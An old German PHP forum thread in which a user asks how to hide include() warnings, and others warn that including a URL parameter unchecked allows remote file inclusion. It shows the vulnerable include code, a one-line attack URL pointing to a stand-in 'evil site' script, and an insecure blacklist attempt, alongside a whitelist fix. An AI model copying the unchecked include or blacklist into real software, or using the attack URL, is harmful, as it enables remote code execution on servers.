Ankündigung

Einklappen
Keine Ankündigung bisher.

Include fehler abfangen?

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • fadass
    hat ein Thema erstellt Include fehler abfangen?.

    Include fehler abfangen?

    hi,

    also kein problem mit script, das funzt 1A, wollte nur wissen wie man fehler von inclue() abfängt,
    ich prbier es so:
    PHP-Code:
    <?php
    if (!@include $site.'.php')
          {
          echo 
    "Fehler: Die Seite existiert [b]nicht[/b]!
    "
    ;
          echo 
    '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
          }
    ?>
    es wird auch alles angezeigt, leider etwas zu viel,
    Code:
    Warning: Failed opening 'news.php' for inclusion (include_path='.;c:\php4\pear') in c:\foxserv\www\wc3\index.php on line 73
    404 Fehler: Die Seite existiert nicht!
    Zurück zur letzten Seite
    das
    Code:
    Fehler: Die Seite existiert nicht!
    Zurück zur letzten Seite
    soll stehen bleiben, nur der rest net, könnt ihr mir helfen???

    danke im voraus!

    p.s: Diesmal kein doppelpost, versprochen!!

  • Manko10
    antwortet
    Nein, so ist es nicht sicher.
    Sicher ist es nur, wenn du den Namen gegen eine Whitelist statt gegen eine Blacklist prüfst.
    Aber es ist ein wenig ungeschickt, hier im Archiv zu posten, da dein Post nicht sofort auffällt. Man sieht zwar, dass da noch irgendwo ein Post sein muss, sieht aber nicht direkt einen. Manche Leute schauen dann in den Archiven nach, aber eben nicht alle.

    Einen Kommentar schreiben:


  • outlaw
    antwortet
    Zitat von ZiMD Beitrag anzeigen
    hallo?

    wenn ers so macht wie in meinem beispiel kann der einfach beliebigen code auf deinem server ausführen!!!!
    Wie kann mann diese Gefahr nichtig machen? Wäre das so sicher:


    PHP-Code:
    <?php 
    $vorbidden 
    'http://';
    $neues_wort '';
    $site eregi_replace$vorbidden$neues_wort$site );


        if(!isset(
    $site)) $site "news"

             
    $mysql_ok strstr($site,":"); 
             if(
    $mysql_ok != FALSE$site "news"
                          include(
    $site.".php"); 
          if (!@include 
    $site.'.php'
          { 
          echo 
    "Fehler: Die Seite existiert [b]nicht[/b]!
    "

          echo 
    '[url="javascript:history.back();"]Zurück zur letzten Seite[/url]'
          }  

            
    ?>

    Einen Kommentar schreiben:


  • fadass
    antwortet
    jo, nagut ich sehs ein
    ich wer ein anderes script schreiben, trotzdem danke für die warnung

    Einen Kommentar schreiben:


  • Gast-Avatar
    Ein Gast antwortete
    Zitat von fadass
    ach, pfui, egal wird sowiso net online gestellt, is eine intranet site, von daher isses mir egal
    Na, das ist mal eine Begründung, um ein besch.... Script zu schreiben.

    Gruß
    phpfan

    Einen Kommentar schreiben:


  • fadass
    antwortet
    ach, pfui, egal wird sowiso net online gestellt, is eine intranet site, von daher isses mir egal

    Einen Kommentar schreiben:


  • ZiMD
    antwortet
    und da normalerweise ein timeout eingestellt ist auch nicht besonders schlimm

    Einen Kommentar schreiben:


  • Gast-Avatar
    Ein Gast antwortete
    Zitat von fadass
    da wird die seite $site included hia der code
    Sag' mal, hast du das Mitdenken komplett abgeschaltet???

    Nimm dieses kleine Script, speichere es als test.php ab und rufe es mit test.php?site=test auf:
    PHP-Code:
    <?
       echo $_SERVER['PHP_SELF'] . "
    ";
       
       include ($_GET['site'] . ".php");
    ?>
    Und das ist noch die harmloseste aller Varianten.

    Gruß
    phpfan

    Einen Kommentar schreiben:


  • ZiMD
    antwortet
    hallo?

    wenn ers so macht wie in meinem beispiel kann der einfach beliebigen code auf deinem server ausführen!!!!

    Einen Kommentar schreiben:


  • fadass
    antwortet
    da wird die seite $site included hia der code
    PHP-Code:
    <?php
        
    if(!isset($site)) $site "news";

             
    $mysql_ok strstr($site,":");
             if(
    $mysql_ok != FALSE$site "news";
                          include(
    $site.".php");
          if (!@include 
    $site.'.php')
          {
          echo 
    "Fehler: Die Seite existiert [b]nicht[/b]!
    "
    ;
          echo 
    '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
          } 

           
    ?>

    Einen Kommentar schreiben:


  • Gast-Avatar
    Ein Gast antwortete
    Zitat von fadass
    da wird doch nur ne variable über die url übergeben?? oder net? is doch nix schlimmes
    Nochmal!!! Was passiert bei einem Aufruf der Datei index.php, wenn die URL manipuliert wird und so aussieht

    index.php?site=index

    und in der index.php ungeprüft das steht:

    include $site.'.php';

    Gruß
    phpfan

    Einen Kommentar schreiben:


  • ZiMD
    antwortet
    index.php?include=http://www.boeseseite.de/boesesscrip


    und jetzt?

    Einen Kommentar schreiben:


  • fadass
    antwortet
    da wird doch nur ne variable über die url übergeben?? oder net? is doch nix schlimmes

    Einen Kommentar schreiben:


  • Gast-Avatar
    Ein Gast antwortete
    Dann überlege, was z.B. mit so einem Aufruf passiert:

    index.php?site=index

    Mir fallen da auch noch andere böse Sachen ein, die ich aber hier lieber nicht schreibe.
    PHP-Code:
    <?
         if (isset($_GET['site']))
         {
              switch ($_GET['site'])
              {
                  case 'news' : $include = "news.php"; break;
                  case 'gbook': $include = "gbook.php"; break;
                  default: $include = "home.php";
              }
         }
         else
            $include = "home.php";

         include ($include);
    ?>
    Gruß
    phpfan

    Einen Kommentar schreiben:


  • fadass
    antwortet
    @phpfan, ahhhhh doch is das schlimm?

    Einen Kommentar schreiben:

Lädt...
X